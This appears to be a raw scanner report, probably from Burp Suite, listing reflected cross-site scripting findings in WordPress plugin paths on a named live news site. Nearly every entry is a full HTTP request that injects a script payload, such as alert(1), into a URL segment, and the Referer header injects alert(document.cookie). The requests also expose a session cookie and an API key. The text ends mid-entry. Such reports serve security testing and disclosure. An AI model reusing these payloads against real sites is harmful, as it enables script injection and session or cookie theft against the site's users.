GET /wp-content/pluginscc71c"><script>alert(1)</script>517800f4c48/cool-ryan-easy-popups/lib/js/jquery-ui-effects.js?ver=2.9.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 70f33"><script>alert(1)</script>bc17fb5e154 was submitted in the REST URL parameter 3. This input was echoed as 70f33\"><script>alert(1)</script>bc17fb5e154 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/cool-ryan-easy-popups70f33"><script>alert(1)</script>bc17fb5e154/lib/js/jquery-ui-effects.js?ver=2.9.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ce178"><script>alert(1)</script>a0d1146d619 was submitted in the REST URL parameter 4. This input was echoed as ce178\"><script>alert(1)</script>a0d1146d619 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/cool-ryan-easy-popups/libce178"><script>alert(1)</script>a0d1146d619/js/jquery-ui-effects.js?ver=2.9.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c8b1c"><script>alert(1)</script>de42c732ebf was submitted in the REST URL parameter 5. This input was echoed as c8b1c\"><script>alert(1)</script>de42c732ebf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/cool-ryan-easy-popups/lib/jsc8b1c"><script>alert(1)</script>de42c732ebf/jquery-ui-effects.js?ver=2.9.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b6f74"><script>alert(1)</script>1b4497e2e22 was submitted in the REST URL parameter 6. This input was echoed as b6f74\"><script>alert(1)</script>1b4497e2e22 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/cool-ryan-easy-popups/lib/js/jquery-ui-effects.jsb6f74"><script>alert(1)</script>1b4497e2e22?ver=2.9.2 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1da61"><script>alert(1)</script>e7e997dd165 was submitted in the REST URL parameter 1. This input was echoed as 1da61\"><script>alert(1)</script>e7e997dd165 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content1da61"><script>alert(1)</script>e7e997dd165/plugins/dd-formmailer/dd-formmailer.css HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4a69a"><script>alert(1)</script>d0caedefa3d was submitted in the REST URL parameter 2. This input was echoed as 4a69a\"><script>alert(1)</script>d0caedefa3d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins4a69a"><script>alert(1)</script>d0caedefa3d/dd-formmailer/dd-formmailer.css HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d1cd7"><script>alert(1)</script>395a570d334 was submitted in the REST URL parameter 3. This input was echoed as d1cd7\"><script>alert(1)</script>395a570d334 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/dd-formmailerd1cd7"><script>alert(1)</script>395a570d334/dd-formmailer.css HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fd360"><script>alert(1)</script>89ea21377c7 was submitted in the REST URL parameter 4. This input was echoed as fd360\"><script>alert(1)</script>89ea21377c7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/dd-formmailer/dd-formmailer.cssfd360"><script>alert(1)</script>89ea21377c7 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d9fce"><script>alert(1)</script>061b055854c was submitted in the REST URL parameter 1. This input was echoed as d9fce\"><script>alert(1)</script>061b055854c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-contentd9fce"><script>alert(1)</script>061b055854c/plugins/fbconnect/fbconnect.css?ver=svn-62 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b64b0"><script>alert(1)</script>ace49c136b8 was submitted in the REST URL parameter 2. This input was echoed as b64b0\"><script>alert(1)</script>ace49c136b8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/pluginsb64b0"><script>alert(1)</script>ace49c136b8/fbconnect/fbconnect.css?ver=svn-62 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9899b"><script>alert(1)</script>375893412e0 was submitted in the REST URL parameter 3. This input was echoed as 9899b\"><script>alert(1)</script>375893412e0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/fbconnect9899b"><script>alert(1)</script>375893412e0/fbconnect.css?ver=svn-62 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5c9b1"><script>alert(1)</script>c5dd366a286 was submitted in the REST URL parameter 4. This input was echoed as 5c9b1\"><script>alert(1)</script>c5dd366a286 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/fbconnect/fbconnect.css5c9b1"><script>alert(1)</script>c5dd366a286?ver=svn-62 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7c0ed"><script>alert(1)</script>65331bb50cf was submitted in the REST URL parameter 1. This input was echoed as 7c0ed\"><script>alert(1)</script>65331bb50cf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content7c0ed"><script>alert(1)</script>65331bb50cf/plugins/fbconnect/xd_receiver.htm HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://www.facebook.com/extern/login_status.php?api_key=018ba7e06c4505193be6bdac2b0628d9&extern=0&channel=http%3A%2F%2Fstarscene.dailystar.com.lb%2Fwp-content%2Fplugins%2Ffbconnect%2Fxd_receiver.htm&locale=en_US Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5c325"><script>alert(1)</script>ba38a78e066 was submitted in the REST URL parameter 2. This input was echoed as 5c325\"><script>alert(1)</script>ba38a78e066 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins5c325"><script>alert(1)</script>ba38a78e066/fbconnect/xd_receiver.htm HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://www.facebook.com/extern/login_status.php?api_key=018ba7e06c4505193be6bdac2b0628d9&extern=0&channel=http%3A%2F%2Fstarscene.dailystar.com.lb%2Fwp-content%2Fplugins%2Ffbconnect%2Fxd_receiver.htm&locale=en_US Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload af9c3"><script>alert(1)</script>f364751cc0c was submitted in the REST URL parameter 3. This input was echoed as af9c3\"><script>alert(1)</script>f364751cc0c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/fbconnectaf9c3"><script>alert(1)</script>f364751cc0c/xd_receiver.htm HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://www.facebook.com/extern/login_status.php?api_key=018ba7e06c4505193be6bdac2b0628d9&extern=0&channel=http%3A%2F%2Fstarscene.dailystar.com.lb%2Fwp-content%2Fplugins%2Ffbconnect%2Fxd_receiver.htm&locale=en_US Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cb2d9"><script>alert(1)</script>637e04eddad was submitted in the REST URL parameter 4. This input was echoed as cb2d9\"><script>alert(1)</script>637e04eddad in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/fbconnect/xd_receiver.htmcb2d9"><script>alert(1)</script>637e04eddad HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://www.facebook.com/extern/login_status.php?api_key=018ba7e06c4505193be6bdac2b0628d9&extern=0&channel=http%3A%2F%2Fstarscene.dailystar.com.lb%2Fwp-content%2Fplugins%2Ffbconnect%2Fxd_receiver.htm&locale=en_US Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show; __utmz=191539816.1295903510.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; __utma=191539816.66428457.1295903510.1295903510.1295903510.1; __utmc=191539816; __utmb=191539816.1.10.1295903510
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 90d9f"><script>alert(1)</script>542b5f7bd06 was submitted in the REST URL parameter 1. This input was echoed as 90d9f\"><script>alert(1)</script>542b5f7bd06 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content90d9f"><script>alert(1)</script>542b5f7bd06/plugins/jquery-t-countdown-widget/css/carbonite/style.css?ver=1.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 25d2b"><script>alert(1)</script>68c4272be60 was submitted in the REST URL parameter 2. This input was echoed as 25d2b\"><script>alert(1)</script>68c4272be60 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins25d2b"><script>alert(1)</script>68c4272be60/jquery-t-countdown-widget/css/carbonite/style.css?ver=1.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ec0b3"><script>alert(1)</script>dcb07dde93d was submitted in the REST URL parameter 3. This input was echoed as ec0b3\"><script>alert(1)</script>dcb07dde93d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/jquery-t-countdown-widgetec0b3"><script>alert(1)</script>dcb07dde93d/css/carbonite/style.css?ver=1.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1766c"><script>alert(1)</script>a3cebe2e404 was submitted in the REST URL parameter 4. This input was echoed as 1766c\"><script>alert(1)</script>a3cebe2e404 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/jquery-t-countdown-widget/css1766c"><script>alert(1)</script>a3cebe2e404/carbonite/style.css?ver=1.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 30e71"><script>alert(1)</script>7fa7d2fe231 was submitted in the REST URL parameter 5. This input was echoed as 30e71\"><script>alert(1)</script>7fa7d2fe231 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/jquery-t-countdown-widget/css/carbonite30e71"><script>alert(1)</script>7fa7d2fe231/style.css?ver=1.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 27fda"><script>alert(1)</script>79aa2b78670 was submitted in the REST URL parameter 6. This input was echoed as 27fda\"><script>alert(1)</script>79aa2b78670 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/jquery-t-countdown-widget/css/carbonite/style.css27fda"><script>alert(1)</script>79aa2b78670?ver=1.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 35285"><script>alert(1)</script>4225a2f4b94 was submitted in the REST URL parameter 1. This input was echoed as 35285\"><script>alert(1)</script>4225a2f4b94 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content35285"><script>alert(1)</script>4225a2f4b94/plugins/jquery-t-countdown-widget/js/jquery.lwtCountdown-1.0.js?ver=1.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 35731"><script>alert(1)</script>67b75d33874 was submitted in the REST URL parameter 2. This input was echoed as 35731\"><script>alert(1)</script>67b75d33874 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
